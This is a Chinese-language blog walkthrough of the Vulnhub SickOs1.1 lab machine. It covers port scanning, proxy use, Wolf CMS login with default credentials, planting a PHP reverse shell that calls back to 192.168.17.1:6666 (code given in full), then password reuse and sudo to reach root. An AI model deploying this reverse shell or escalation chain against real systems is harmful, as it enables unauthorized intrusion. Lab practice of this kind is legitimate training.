【Vulnhub】SickOs1.1

  • A+
所属分类:安全文章

【Vulnhub】SickOs1.1


靶机地址:

https://www.vulnhub.com/entry/sickos-11,132/


nmap 扫描一下端口


【Vulnhub】SickOs1.1


3128 端口开着一个代理服务,使用它提供的代理去访问一下


【Vulnhub】SickOs1.1


访问 robots 得到一个 cms


【Vulnhub】SickOs1.1


访问 robots.txt 中的 /wolfcms


【Vulnhub】SickOs1.1


搜一下,得到后台登录页面:/?/admin/login


【Vulnhub】SickOs1.1


使用默认账号密码 admin:admin 登录成功

后台可以写文件啥的,写个 php 的反弹 shell

<?php
$ip = '192.168.17.1';
$port = '6666';
$sock = fsockopen($ip, $port);
$descriptorspec = array(
    0 => $sock,
    1 => $sock,
    2 => $sock
);
$process = proc_open('/bin/sh',$descriptorspec, $pipes);
proc_close($process);
?>

【Vulnhub】SickOs1.1


在 config.php 中找到了数据库的用户名与密码


【Vulnhub】SickOs1.1


用数据库的那个密码试一下,登录用户:sickos,成功!

同时既然已经知道了密码,sudo -s 直接拿到了 root 权限


【Vulnhub】SickOs1.1


没学到什么新的知识 Orz,现在做靶机感觉越来越没啥意思了,想想该是因为是参考了别人的 wp 做出来的吧 【Vulnhub】SickOs1.1。做了也 30 多个了,后面就尽量自己做,反正跟 CTF 题一样必然有解,这样应该就不能一周一更了,毕竟大部分时间还是想放在 pwn 的学习上。

就这字数还不够!?阿巴阿巴阿巴阿巴阿巴阿巴🤤

本文始发于微信公众号(陈冠男的游戏人生):【Vulnhub】SickOs1.1

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: